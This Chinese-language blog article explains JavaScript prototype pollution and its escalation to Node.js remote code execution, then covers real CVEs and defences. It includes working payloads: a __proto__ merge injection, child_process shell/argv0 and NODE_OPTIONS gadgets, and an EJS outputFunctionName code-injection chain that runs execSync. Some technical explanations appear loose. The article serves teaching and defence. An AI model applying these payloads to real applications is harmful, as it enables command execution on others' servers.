引言
原型链污染(Prototype Pollution)是 JavaScript 生态中一类独特且危害深远的漏洞。它源于 JavaScript 原型继承机制的固有特性,攻击者通过向 Object.prototype 注入恶意属性,能够影响所有继承自该原型的对象。自 2018 年被系统化研究以来,原型链污染已从最初被认为“仅能造成 DoS”的认知,逐步演变为可稳定实现 Node.js 远程代码执行(RCE)的完整攻击链。本文将深入剖析原型链污染的核心原理,并逐层拆解从属性注入到 RCE 的完整利用路径。
一、原型链污染的核心原理
1.1 JavaScript 原型继承机制
JavaScript 中每个对象都有一个指向其原型对象的内部引用 [[Prototype]](通过 __proto__ 或 Object.getPrototypeOf() 访问)。当访问一个对象的属性时,若该对象自身不存在此属性,引擎会沿原型链向上查找,直至 Object.prototype。这意味着,一旦攻击者污染了 Object.prototype,所有对象都会“继承”这些恶意属性。
1.2 漏洞产生的典型场景
原型链污染通常出现在不安全的对象合并、路径赋值或反序列化操作中。以下是一个典型示例:
function merge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
const malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');
merge({}, malicious);
console.log({}.polluted); // 输出: yes
上述代码中,merge 函数递归合并对象时未过滤 __proto__ 键,导致 Object.prototype 被注入 polluted 属性。类似的风险点还包括 constructor.prototype 路径赋值、Object.assign 的深层变体、以及 lodash 的 merge/defaultsDeep 等工具函数。
二、从污染到 RCE 的利用链
原型链污染本身仅能控制对象属性,但要实现 RCE,需要找到 Node.js 内部或第三方模块中“读取被污染属性并执行危险操作”的汇聚点(Gadget)。以下是几条经典的利用链。
2.1 利用 child_process 的 spawn 或 execSync
Node.js 的 child_process 模块在调用 spawn、execSync 等方法时,会解析 options 对象中的 shell、env、argv0 等属性。若这些属性未显式传入,引擎会沿原型链查找,从而读取被污染的值。
利用链示例:
// 污染阶段
const malicious = JSON.parse('{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\'child_process\').execSync(\'id\').toString())//"}}');
merge({}, malicious);
// 触发阶段:某处调用了 child_process.spawnSync 或 execSync
const { execSync } = require('child_process');
execSync('echo test');
当 execSync 内部调用 spawnSync 时,会检查 options.shell。由于 options 对象自身没有 shell 属性,原型链上的 /proc/self/exe 被读取。/proc/self/exe 指向 Node.js 可执行文件本身,配合 argv0 注入,攻击者可以构造出执行任意代码的命令行参数。具体而言,argv0 被设置为一段 JavaScript 代码,Node.js 以 --eval 或类似方式解析时便会执行该代码。
2.2 利用 NODE_OPTIONS 环境变量注入
Node.js 在启动子进程时会继承环境变量。若攻击者能够污染 env 对象或 NODE_OPTIONS 属性,便可向子进程注入 --require 或 --eval 参数。
利用链:
// 污染 Object.prototype
const malicious = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}');
merge({}, malicious);
// 触发:任何创建子进程的操作
require('child_process').fork('some_script.js');
此处 NODE_OPTIONS 被设置为 --require /proc/self/environ,子进程启动时会加载 /proc/self/environ 作为模块。攻击者可将恶意代码写入环境变量,从而在子进程中执行。这种利用方式不依赖特定模块的 Gadget,通用性极强。
2.3 利用 EJS 等模板引擎
许多模板引擎在渲染时会读取配置对象中的属性。以 EJS 为例,其 renderFile 方法会检查 options.outputFunctionName 等属性。若该属性被污染为恶意代码字符串,EJS 会将其拼接进生成的函数体中,导致代码执行。
利用链:
const ejs = require('ejs');
const malicious = JSON.parse('{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\'child_process\').execSync(\'id\');s"}}');
merge({}, malicious);
ejs.render('Hello <%= name %>', { name: 'world' });
EJS 在编译模板时,会将 outputFunctionName 的值直接插入到函数源码中。攻击者通过闭合原有语句并注入任意代码,即可实现 RCE。类似地,Pug、Handlebars 等引擎也存在各自的 Gadget。
2.4 利用 require 与模块加载机制
Node.js 的 require 函数在解析模块路径时,会读取 Module._resolveFilename 等内部方法。若攻击者污染了 Module.prototype 上的属性,可能影响模块解析逻辑。例如,污染 paths 属性可改变模块查找路径,进而加载攻击者控制的文件。
此外,某些序列化库(如 node-serialize)在反序列化时会执行 eval,若结合原型链污染注入 __proto__ 中的函数体,可直接触发 RCE。
三、真实案例与影响
历史上多个知名 npm 包曾受原型链污染影响:
- lodash:CVE-2018-3721,
merge、defaultsDeep等函数可被污染。 - jQuery:CVE-2019-11358,
$.extend(true, ...)存在原型链污染。 - hoek:CVE-2018-3728,影响 hapi 生态。
- minimist:CVE-2020-7598,参数解析时可污染原型。
在 Node.js 应用层面,原型链污染常与 SSRF、文件写入、模板注入等漏洞组合,形成从“低危属性注入”到“高危 RCE”的完整攻击链。例如,攻击者先通过 API 的参数合并接口污染 Object.prototype,再等待应用内部调用 child_process 或模板渲染,最终实现命令执行。
四、防御策略
- 输入过滤:在对象合并、路径赋值等操作中,严格禁止
__proto__、constructor、prototype等键。 - 使用安全函数:采用
Object.create(null)创建无原型对象,或使用Map替代普通对象存储键值对。 - 冻结原型:在应用初始化时调用
Object.freeze(Object.prototype),防止运行时污染。 - 依赖更新:及时升级 lodash、jQuery 等库至修复版本。
- 运行时防护:使用
--disable-proto标志启动 Node.js(Node 12+),禁用__proto__访问。 - RCE 汇聚点加固:对
child_process调用显式传入完整的options对象,避免原型链查找。
结语
原型链污染漏洞的威力在于其“污染一次,处处受影响”的传播特性。从简单的属性注入到复杂的 RCE 利用链,攻击者需要深入理解 JavaScript 运行时和 Node.js 内部机制。对于防御者而言,仅修复单个 Gadget 远远不够,必须从输入过滤、原型冻结、依赖管理等多层面构建纵深防御体系。随着 Node.js 生态的持续演进,原型链污染的利用手法也将不断翻新,安全研究者需保持持续关注。
未经允许不得转载:任鹏个人博客 » 原型链污染漏洞:从 JavaScript 到 Node.js RCE 的利用链分析

